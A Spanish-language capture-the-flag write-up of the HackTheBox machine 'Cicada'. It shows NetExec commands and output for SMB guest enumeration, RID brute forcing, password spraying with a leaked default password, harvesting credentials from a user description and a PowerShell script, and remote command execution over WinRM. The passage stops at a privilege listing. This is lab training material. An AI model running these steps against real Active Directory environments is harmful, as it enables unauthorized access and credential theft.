Cicada – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Easy /Fácil
  • Platform / Plataforma: HackTheBox

‘Cicada’ Avatar


Resumen Link to heading

“Cicada” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina permite una sesión como Guest (invitado) a través del servicio SMB el cual filtra una contraseña por defecto para nuevos usuarios. Obtenemos potenciales usuarios a través de fuerza bruta del RID y encontramos un usuario cuya contraseña es la encontrada en el archivo filtrado. Con este nuevo usuario somos capaces de enumerar usuarios en el dominio/máquina, donde uno de ellos filtra una nueva contraseña para sí mismo en su descripción. Este nuevo usuario puede leer un nuevo recurso compartido en SMB donde se filtran credenciales para un tercer usuario. Este tercer usuairo se puede conectar a la máquina víctima a través de WinRM, gananado así acceso inicial a la máquina víctima. Ya dentro, vemos que este usuario tiene el privilegio SeBackupPrivilege habilitado, lo cual nos permite crear copias de archivos sensibles del sistema y así extraer el hash NT del usuario Administrator. Usando este hash a través de un Pass The Hash impersonamos al usuario Administrador, ganando así control total sobre la máquina víctima.


Nota
A lo largo de este WriteUp mostraré cómo NetExec, la sucesora de CrackMapExec, es una “navaja suiza” y cómo podemos completar toda la parte de intrusión/usuario solamente utilizando esta herramienta.

User / Usuario Link to heading

Empezamos buscando por puertos TCP abiertos en la máquina víctima a través de un rápido escaneo con Nmap:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.35

Scanned at 2025-02-13 20:28:36 -03 for 58s
Not shown: 65522 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
63480/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 58.59 seconds
           Raw packets sent: 262138 (11.534MB) | Rcvd: 75 (3.300KB)

Podemos ver múltiples puertos abiertos: 53 Domain Name System (DNS), 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 Server Message Block (SMB), 5985 Windows Remote Management (WinRM); entre otros.

Aplicamos algunos escaneos de reconocimiento sobre estos puertos con Nmap utilizando la flag -sVC:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,63480 10.10.11.35

Nmap scan report for 10.10.11.35
Host is up (0.42s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-14 06:32:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
63480/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-02-14T06:33:17
|_  start_date: N/A
|_clock-skew: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.68 seconds

Los puertos abiertos indican que estamos ante una máquina en un entorno Active Directory.

Empezamos usando NetExec contra el servicio/protocolo SMB en la máquina víctima:

❯ nxc smb 10.10.11.35

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)

Tenemos un dominio cicada.htb, el nombre de la máquina CICADA-DC y un FQDN (el nombre de la máquina con el dominio) CICADA-DC.cicada.htb.

La máquina aparentemente permite una NULL session (no proveemos usuario, ni contraseña):

❯ nxc smb 10.10.11.35 -u '' -p ''

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\:

Podemos ver el símbolo [+] lo cual indica que, aparentemente, la máquina permite NULL sessions.

No obstante, este es un falso positivo. Cuando tratamos de enumerar recursos compartidos con NetExec, junto con la flag --shares, obtenemos STATUS_ACCESS_DENIED:

❯ nxc smb 10.10.11.35 -u '' -p '' --shares

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\:
SMB         10.10.11.35     445    CICADA-DC        [-] Error enumerating shares: STATUS_ACCESS_DENIED

Sin perjuicio de lo anterior, podemos ver si la máquina permite Guest sessions (sesión como invitado) pasando un usuario aleatorio y ninguna contraseña:

❯ nxc smb 10.10.11.35 -u 'a' -p '' --shares

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON                        Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL                          Logon server share

Donde hemos proveído el usuario random a, ninguna contraseña y sí somos capaces de enumerar y ver recursos compartidos. Podemos ver un recurso llamado HR el cual somos capaces de leer.

Podemos revisar su contenido utilizando NetExec con algo de spidering (extaer información utilizando parámetros). Podemos usar la flag --spider junto con el recurso compartido al que queremos aplicar el “spider” (analizar). También podemos proveer el “patrón” a seguir con --pattern lo cual indica el texto que queremos en los archivos (por ejemplo, si ponemos --pattern txt esto sólo mostrará archivos llamados test.txt, filetxt.pdf, etc). Si queremos mostrar todos los archivos y directorios disponibles sólo usamos un punto (.):

❯ nxc smb 10.10.11.35 -u 'a' -p '' --spider 'HR' --pattern .

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SMB         10.10.11.35     445    CICADA-DC        [*] Started spidering
SMB         10.10.11.35     445    CICADA-DC        [*] Spidering .
SMB         10.10.11.35     445    CICADA-DC        //10.10.11.35/HR/. [dir]
SMB         10.10.11.35     445    CICADA-DC        //10.10.11.35/HR/.. [dir]
SMB         10.10.11.35     445    CICADA-DC        //10.10.11.35/HR/Notice from HR.txt [lastm:'2024-08-28 13:31' size:1266]
SMB         10.10.11.35     445    CICADA-DC        [*] Done spidering (Completed in 1.4311010837554932)

Hay un archivo Notice from HR.txt en el recurso HR.

Podríamos descargar este archivo. Pero antes de ello, NetExec tiene una opción bastante guapa que permite chequear si la palabra password se encuentra dentro de un archivo. Para ello, junto con --spider, podemos agregar la flag --content para especificar que queremos revisar los contenidos de los archivos, seguida de la opción --regex junto con la expresión regular que queremos buscar dentro del archivo. Dado que queremos buscar por la palabra password (en “case insensitive”, sin importar las mayúsculas o minúsculas) es que podemos usar --content --regex '(?i)password' dentro del recurso compartido HR como se muestra a continuación:

❯ nxc smb 10.10.11.35 -u 'a' -p '' --spider 'HR' --content --regex '(?i)password'

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SMB         10.10.11.35     445    CICADA-DC        [*] Started spidering
SMB         10.10.11.35     445    CICADA-DC        [*] Spidering .
SMB         10.10.11.35     445    CICADA-DC        //10.10.11.35/HR/Notice from HR.txt [lastm:'2024-08-28 13:31' size:1266 offset:1266 regex:'b'(?i)password'']
SMB         10.10.11.35     445    CICADA-DC        [*] Done spidering (Completed in 2.866698741912842)

Podemos ver que el documento //10.10.11.35/HR/Notice from HR.txt contiene la palabra password. Esto es muy útil cuando tenemos muchos archivos en lugar de buscar por ellos uno por uno.

Ahora que tenemos un archivo objetivo podemos descargar éste usando NetExec con la flag --share junto con --get-file. Intentamos descargar el archivo Notice from HR.txt localizado dentro del recurso compartido HR y guardar este archivo con el nombre leaked_file.txt en nuestra máquina de atacante como sigue:

❯ nxc smb 10.10.11.35 -u 'a' -p '' --share 'HR' --get-file 'Notice from HR.txt' leaked_file.txt

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SMB         10.10.11.35     445    CICADA-DC        [*] Copying "Notice from HR.txt" to "leaked_file.txt"
SMB         10.10.11.35     445    CICADA-DC        [+] File "Notice from HR.txt" was downloaded to "leaked_file.txt"

Hemos descargado el archivo como leaked_file.txt.

Una vez que el archivo ha sido descargado, leemos este archivo con cat en nuestra máquina de atacantes:

❯ cat leaked_file.txt

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

Se habla de el proceso al entrar a la empresa para los nuevos empleados. Aquí la línea importante es:

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

Tenemos una potencial contraseña: Cicada$M6Corpb*@Lp#nZp!8, pero no tenemos usuarios.

Podríamos usar ahora la flag --users para obtener potenciales usuarios utilizando la sesión de invitado:

❯ nxc smb 10.10.11.35 -u 'a' -p '' --users

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)

Pero no vemos output alguno. Por lo que, probablemente, no tenemos permisos para enumerar usuarios con esta opción.

Otra opción es obtener usuarios utilizando la opción --rid-brute. RID, o RELATIVE ID, es una especie de identificador que Windows asigna cuando creamos un objeto tal cual lo puede ser un usuario o grupo. De manera que, por ejemplo, cuando creamos un usuario en Active directory, un RID es asignado a éste. Lo mismo aplica para grupos. Usando --rid-brute en NetExec intenta obtener el nombre de los usuarios o grupos realizando fuerza bruta a los valores de RID hasta 4000 (lo cual se puede cambiar en NetExec igual). Realizando esta fuerza bruta obtenemos:

❯ nxc smb 10.10.11.35 -u 'a' -p '' --rid-brute

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\a: (Guest)
SMB         10.10.11.35     445    CICADA-DC        498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        500: CICADA\Administrator (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        501: CICADA\Guest (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        502: CICADA\krbtgt (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        512: CICADA\Domain Admins (SidTypeGroup)
<SNIP>
SMB         10.10.11.35     445    CICADA-DC        1106: CICADA\michael.wrightson (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1108: CICADA\david.orelious (SidTypeUser)
SMB         10.10.11.35     445    CICADA-DC        1109: CICADA\Dev Support (SidTypeGroup)
SMB         10.10.11.35     445    CICADA-DC        1601: CICADA\emily.oscars (SidTypeUser)

Funcionó. Tenemos usuarios y grupos.

Como sólo queremos mantener los usuarios podemos ver que éstos tienen la palabra/string SidTypeUser, mientras que para grupos tenemos el string SidTypeGroup. Por ello podemos jugar un poco filtrando las filas por la palabra SidTypeUser con grep, y seleccionar las columnas deseadas usando awk:

❯ nxc smb 10.10.11.35 -u 'a' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}'

Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars

Guardamos estos usuarios en un archivo llamado domain_users.txt:

❯ nxc smb 10.10.11.35 -u 'a' -p '' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}' > domain_users.txt

Al fin tenemos una lista de potenciales usuarios. Por tanto, podemos intentar un Password Spray (probar una contraseña para distintos usuarios) y ver si alguno de ellos no ha cambiado la contraseña por defecto de la empresa. Podemos pasar la lista de usuarios que hemos creado al argumento -u (user) y como contraseña (-p) pasamos la contraseña filtrada en el archivo. Podemos también usar la opción --continue-on-success dado que esta contraseña podría ser correcta para más de un usuario y así NetExec no detiene el ataque Password Spray al encontrar el primer positivo. Ejecutamos entonces:

❯ nxc smb 10.10.11.35 -u domain_users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE

La contraseña coincide para el usuario michael.wrightson. Por ende, tenemos credenciales válidas: michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8.

Veamos qué accesos compartidos puede leer este nuevo usuario:

❯ nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON        READ            Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL          READ            Logon server share

Desafortunadamente este usuario no tiene acceso a ningún nuevo recurso compartido.

Pero ahora que tenemos un usuario válido en el dominio podríamos enumerar usuarios usando --users en NetExec dado que ahora somos capaces de leer sus descripciones:

❯ nxc smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         10.10.11.35     445    CICADA-DC        -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.10.11.35     445    CICADA-DC        Administrator                 2024-08-26 20:08:03 1       Built-in account for administering the computer/domain
SMB         10.10.11.35     445    CICADA-DC        Guest                         2024-08-28 17:26:56 1       Built-in account for guest access to the computer/domain
SMB         10.10.11.35     445    CICADA-DC        krbtgt                        2024-03-14 11:14:10 1       Key Distribution Center Service Account
SMB         10.10.11.35     445    CICADA-DC        john.smoulder                 2024-03-14 12:17:29 1
SMB         10.10.11.35     445    CICADA-DC        sarah.dantelia                2024-03-14 12:17:29 1
SMB         10.10.11.35     445    CICADA-DC        michael.wrightson             2024-03-14 12:17:29 0
SMB         10.10.11.35     445    CICADA-DC        david.orelious                2024-03-14 12:17:29 1       Just in case I forget my password is aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        emily.oscars                  2024-08-22 21:20:17 1
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated 8 local users: CICADA

Tenemos una descripción interesante para el usuario david.orelious la cual dice:

Just in case I forget my password is aRt$Lp#7t*VQ!3

Muchas gracias, David.

Revisamos si estas credenciales son válidas (usuario david.orelious y contraseña aRt$Lp#7t*VQ!3):

❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3

Las credenciales son correctas. Tenemos un nuevo usuario.

Vemos si este usuario tiene nuevos recursos compartidos que podamos inspeccionar:

❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        [*] Enumerated shares
SMB         10.10.11.35     445    CICADA-DC        Share           Permissions     Remark
SMB         10.10.11.35     445    CICADA-DC        -----           -----------     ------
SMB         10.10.11.35     445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.10.11.35     445    CICADA-DC        C$                              Default share
SMB         10.10.11.35     445    CICADA-DC        DEV             READ
SMB         10.10.11.35     445    CICADA-DC        HR              READ
SMB         10.10.11.35     445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.10.11.35     445    CICADA-DC        NETLOGON        READ            Logon server share
SMB         10.10.11.35     445    CICADA-DC        SYSVOL          READ            Logon server share

Podemos leer el recurso DEV. Ese es nuevo.

Como ya hemos visto, podemos ver qué es lo que contiene el recurso usando las flags --spider y --pattern . con NetExec:

❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --spider DEV --pattern .

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        [*] Started spidering
SMB         10.10.11.35     445    CICADA-DC        [*] Spidering .
SMB         10.10.11.35     445    CICADA-DC        //10.10.11.35/DEV/. [dir]
SMB         10.10.11.35     445    CICADA-DC        //10.10.11.35/DEV/.. [dir]
SMB         10.10.11.35     445    CICADA-DC        //10.10.11.35/DEV/Backup_script.ps1 [lastm:'2024-08-28 13:28' size:601]
SMB         10.10.11.35     445    CICADA-DC        [*] Done spidering (Completed in 1.4138860702514648)

Tenemos un archivo el cual se llama Backup_script.ps1 que se ve interesante.

Descargamos este archivo usando NetExec:

❯ nxc smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --share DEV --get-file 'Backup_script.ps1' 'Backup_script.ps1'

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB         10.10.11.35     445    CICADA-DC        [*] Copying "Backup_script.ps1" to "Backup_script.ps1"
SMB         10.10.11.35     445    CICADA-DC        [+] File "Backup_script.ps1" was downloaded to "Backup_script.ps1"

Ya descargado el archivo, vemos su contenido. Es un script de PowerShell:

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

Este sencillo script crea un respaldo/backup del directorio C:\smb y lo guarda en D:\Backup usando como “estampilla” (para diferenciar el archivo) la fecha. No obstante, la parte importante del script es:

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force

Tenemos una nueva contraseña en texto plano para el usuario emily.oscars. Como hemos encontrado previamente cuando extrajimos usuarios del dominio, este usuario existe en él. Podemos revisar si estas nuevas credenciales son válidas:

❯ nxc smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

SMB         10.10.11.35     445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.35     445    CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt

Son válidas.

Podemos revisar si este usuario puede conectarse a la máquina víctima a través del servicio WinRM (cuyo puerto, 5985, estaba expuesto) también con NetExec:

❯ nxc winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

WINRM       10.10.11.35     5985   CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM       10.10.11.35     5985   CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)

Podemos ver el mensaje Pwn3d!, el cual indica que para el protocolo winrm las credenciales son correctas y podemos ejecutar comandos remotamente a través de este servicio en la máquina víctima.

Es más, podríamos obtener la flag de usuario utilizando únicamente NetExec dado que podemos ejecutar comandos de PowerShell (que es la herramienta que WinRM utiliza) a través de la flag -X "<comando>". Enumeramos primero los directorios en C:\Users:

❯ nxc winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -X 'dir C:\Users\'

WINRM       10.10.11.35     5985   CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM       10.10.11.35     5985   CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
WINRM       10.10.11.35     5985   CICADA-DC        [+] Executed command (shell type: powershell)
WINRM       10.10.11.35     5985   CICADA-DC
WINRM       10.10.11.35     5985   CICADA-DC
WINRM       10.10.11.35     5985   CICADA-DC        Directory: C:\Users
WINRM       10.10.11.35     5985   CICADA-DC
WINRM       10.10.11.35     5985   CICADA-DC
WINRM       10.10.11.35     5985   CICADA-DC        Mode                 LastWriteTime         Length Name
WINRM       10.10.11.35     5985   CICADA-DC        ----                 -------------         ------ ----
WINRM       10.10.11.35     5985   CICADA-DC        d-----         8/26/2024   1:10 PM                Administrator
WINRM       10.10.11.35     5985   CICADA-DC        d-----         8/22/2024   2:22 PM                emily.oscars.CICADA
WINRM       10.10.11.35     5985   CICADA-DC        d-r---         3/14/2024   3:45 AM                Public

y leemos la flag de usuario:

❯ nxc winrm 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -X 'type C:\Users\emily.oscars.CICADA\Desktop\user.txt'

WINRM       10.10.11.35     5985   CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
WINRM       10.10.11.35     5985   CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
WINRM       10.10.11.35     5985   CICADA-DC        [+] Executed command (shell type: powershell)
WINRM       10.10.11.35     5985   CICADA-DC        508<SNIP>

Podríamos seguir utilizando solamente NetExec para resolver la máquina. Pero desde este punto ya podemos utilizar evil-winrm y las credenciales de emily.oscars para entrar en la máquina víctima con una consola interactiva:

❯ evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>

En este punto sólo quise mostrar una fracción de poder de lo que es capaz NetExec, porque es bastante de muchísimas cosas más.


NT Authority/System - Administrador Link to heading

Revisando los privilegios del usuario emily.oscars en la consola con evil-winrm retorna:

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

